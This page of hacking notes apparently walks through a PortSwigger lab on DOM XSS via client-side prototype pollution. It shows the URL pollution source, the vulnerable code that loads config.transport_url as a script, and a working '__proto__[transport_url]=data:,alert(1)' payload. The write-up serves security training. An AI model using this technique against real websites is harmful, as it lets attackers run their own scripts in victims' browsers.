> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/prototype-pollution/dom-xss-via-client-side-prototype-pollution.md).

# DOM XSS via Client-Side Prototype Pollution

DOM XSS via Client-Side Prototype Pollution notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

#### DOM XSS via Client-side Prototype Pollution

#### Lab Context

The application is vulnerable to a **XSS DOM** triggered by a **prototype pollution** (client-side). / Purpose: **polute `Object.prototype`** with a useful property, find a **gadget** in the JS that operates it, then run `alert()`.

### 1) Observation of the Pollution of the Prototype

#### Pollution Source (in URL)

Properties can be injected into `__proto__` via the parameters:

<pre class="language-javascript"><code class="lang-javascript"><strong>/?__proto__[foo]=bar
</strong></code></pre>

#### Control in Console

After navigation, it is checked that the property "fail" in all objects:

```javascript
console.log({}.foo)
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-81d7876405ff22d7fd5b6f0eb2c6767ee75aecad%2Fimage%20(128).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### 2) Client Vulnerable Code

The site contains a logic of

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};

    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }

    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

window.addEventListener("load", searchLogger);
```

Key point: the code reads **`config.transport_url`** and uses it as **source of a `<script>`**.

### 3) Identified Exploitable Gadget

#### Gadget

* `config.transport_url`

#### Why This Is Dangerous

If `transport_url` exists (even via the prototype), the script does:

* create a `<script>`
* `script.src = config.transport_url`
* integration into the DOM

So we can force the browser to load a script from a controlled URL.

### 4) Operation: Trigger the XSS

#### Payload (pollution + Execution)

`Object.prototype.transport_url` is polluted with a `data:` URL that runs `alert(1)`:

```javascript
?__proto__[transport_url]=data:,alert(1)
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8efed16ffcef8dfb72a1e07932abdbe225ba954b%2Fimage%20(115).png?alt=media" alt=""><figcaption></figcaption></figure>

#### DOM Side Effect

The code ends up generating something equivalent to:

```javascript
<script src="data:,alert(1)"></script>
```


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